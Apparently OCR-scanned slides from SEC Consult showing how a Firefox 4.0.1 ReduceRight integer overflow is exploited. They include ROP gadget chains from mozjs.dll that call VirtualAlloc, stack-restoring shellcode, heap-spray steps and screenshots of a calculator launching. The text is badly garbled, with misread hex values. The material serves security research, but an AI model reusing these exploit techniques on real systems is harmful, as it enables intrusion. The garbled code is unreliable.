array hefore slot of infoDisclosure[110] = 0Ox00001000; A4 0x00001000-> edx

array hefore slot of infoDisclosure[111] = mozjs base + 0x00060745; S POP ECEX # RETN [mozj=sdll]

array hefore slot of infoDisclosure[112] = 0x00000040:; A 0x00000040-> ecx

array hefore slot of infolisclosure[113] = wozjs_hase + 0x001370L£7:; 4 POP EDI # RETN [mozjsdll]
array hefore slot_of infoDisclosure[114] = mozjs _base + 0x0000£005; S RETH (ROQP NOFP)] [mozjsdll]
array hefore slot of infoDisclosure[l115] = mozjs base + O0x001Zsb0s; A4 POP EAX # RETN [mozj=sdll]

array hefore slot of infoDisclosure[ll6] = 0x502029030; AF nop
array hefore slot of infoDisclosure[117] = mozjs base + 0x000a5665:; 4 PUIHAD # RETN [mozisdll]

* ROP code build on top of the mozjs module

« Imona was used to build this ROP chain

 The code pop's needed addresses and argument values
Into registers and uses pushad to finally call VirtualAlloc()
to make the actual page executable
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 VirtuaAlloc changes the protection to execute-readwrite to
make shellcode executable!
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Calculator - 0] x| " Mozilla Crash Reporte x|
Edit  Wiew Help

We're Sorry
| i)

Firefox had a problem and crashed, We'll by ko restare wour babs and
" Hex © Dec ¢ Oct  Bin * Degees " Radians " Grads GATEks el (€ estEE,

| To help us diagnose and Fix the problem, you can send us a crash report,

[ v [ Hyp I I Backzpace

CE

[T Tell Mozilla about this crash so they can fix it

Sta F-E [ ] MC ¥ 8 3 ¢ Mod | And Details... |

Bue dmz | Esp Ik R 4 5 E i Or =ar Add a comment [comments are publicly vizible] ;I
Sum zin %y lag kS 1 2 3 - Lzh | Mat
~3 I b 0 & . = il
; - . . . . . ! I¥ | Include the address of the page Iwas an
D at kan T 1/ i & E C 5] E E I | Allaw Mozilla ko contact me about this report

I Enter your email addrezs here

Restart Firefos it Firefox

« Shellcode gets executed, but now Firefox crashes because
of the changed ESP reqister
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O0eLd1Aa9 oB47 64 MOV EaX DWORD PTE Da:[EDI4+64]
O0eLd1AC aSC0 TEST EAX,ELX

O0eil1AE 75 05 JNEZ SHOET moz]s.006401E5
O0elid1E0 BE= S0OBE&OOO MOV Eia¥X mozj]s.0060BESD
O0eld1ES aobBSd24 1C MOV EDX, DWORED PTE S5: [ERP4+10C]
O0el01ES LA OO0 PUSH O

D06AD1EE  ED4C24 24
O0el01EF 51 PUSH ECXE

O0el01c0 53 PUSH EEBX

O0eld1] S5 PUUZH EEF

O0el01Z2 S PUSH EDXE

O0ead1Z3 FFDO CALL EAX

* During ,setElem” invocation ESP+0x24 is stored in ECX
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 ROP code to store ECX at element [75]

array hefore slot of infolisclosure[96] = wozjs hase + Ox&5d0; // FPOP E3I # EET

var addr where ecx i3 stored = address of array before element start + (4%75) Fé o= [75]
array before slot of infolisclosure[57] = addr where ecx iz stored: Af ESI = Address of element [75]
array before slot of infolisclosure[95] = mozjs base + Oxlkhef: /S mov [esi], escx # ret

array before slot of infolisclosure[59] mozjs base + OxZ5dl; A BRET (ROP NOP)
array bhefore slot of infolisclosure[l100] = mwozijs bhase + OxZ5d1; /4 RET (ROP NOF)

 Shellcode after ROP chain to restore ESP:

array before slot of infolisclosure[2] = O0xzZ5Skho090; A NOP # MOP # mov esp, [...]
array bhefore slot of infolisclosure[3] = addr where ecx is stored:; Ffoused for [...]
array before slot of infobisclosure[4] = 0x00538ecsS1; A sub esp, 0x38

array before slot of infolisclosure[S] = Ox0O0000000;
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System
b System and Security » System
Jiew basic information about your computer
Nindows edition
Windows 8 Pro
2 2012 Microsoft Carporaticn. All rights reserved, Debug
Get more features with a new edition of Windows
iystem
Rating: mWindows Experience Index
Processor: Intel(R) Xeon(R) CPU E3-1630 0 @ 3.20GHz 3.17 GHz
Installed memory (RAM): 4,00 GB
Systemn type: 84-bit Operating Systern, x64-based processor
Pen and Touch: Mo Pen or Touch Input is available for this Display

“omputer name, domain, and workgroup settings
Computer name:
Full computer name:
Computer description:

Workgroup:
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[ L] _dep_disable.html I ] dep_disable.html

| €= ._lﬂ" . L] (Firefox ReduceRight (Integer ¢

=) Imitial data setup done!
Use »!'searchspray -h 41 43 43 41 01< to find start of info
Use »!searchspray -h 45 43 43 45 01« to find adjacent arra
-} Defragmented heap and reallocated infoDisclosure =lots array!
Use »!'searchspray -h 42 47 47 42 01« to find new reallocat
Because of heap massage you should find the content of arr

View Edit

caing _address o nfnlys Wt e _alot array complete!

Help yinter i=s Ox6f

12t be at a ne

miet bha =1—an
= ent
25a
0000 OOOD QOGP QOOD ORGP ODOA GOPG  DOGO %)
63 47 32
000 ©COGD O0OGR O0OOD OGOOP O0DGA GOPE  BOGO
31 15 a 7] .
is
Mod ‘MCHMR||MS||M+ |M|
g““ | H A B Bees ing
Dec | 32 ing
o |l e el e Jl =] -
DDct e eaeg ing
Osin || rot||rer| c || 7 || 8 || 9 || || * = |
I
(@) owaord |Dr ‘Ior D ‘ 4 H 5 || 3] || % | 1/x iﬁg
% ¥
(Obwoerd | I | [ I I I I | j dime
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Home Share View
@ = 1 . r VulnPregramms » Browser » Firefox ReduceRight (Integer Overflow)
¥ Favorites Name Date modified
B Desktop | exploit 4/3/2014 4:22 AM
& Downloads =] crash.html 3/22/2014 9:30 AM
% Recent places 2 Firefox Setup 4.0.1.exe 3/22/2014 8:01 AM
@ Morzilla Firefox 4.0.1 A4/7/2014 7:59 PM
= Libraries
[Z Documents
&) Music
(=] Pictures
B videos h

% Homegroup

M Computer

€ Network

Type

File folder

HTML File

Application
Shortcut
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v 0
v & Search Firefox ReduceRight (L. 0@
Size
2KB
12,229 KB
2KB

ENG T:11AM

DE  6/15/2014

) @ e [ va [ | @ (3] sTReRECHTS
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SEC CONSULT UNTERNEHMENSBERATUNG GMBH
OSTERREICH DEUTSCHLAND
Mooslackengasse 17 Bockenheimer Landstrasse 17-19
1190 Wien 60325 Frankfurt am Main
Tel +43 (0)1 8903043 -0 Tel +49 (69) 175 373 -43
Fax +43 (0)18903043-15 Fax +49 (69) 175373 -44
office@sec-consult.com office-frankfurt@sec-consult.com
www.sec-consult.com www.sec-consult.com
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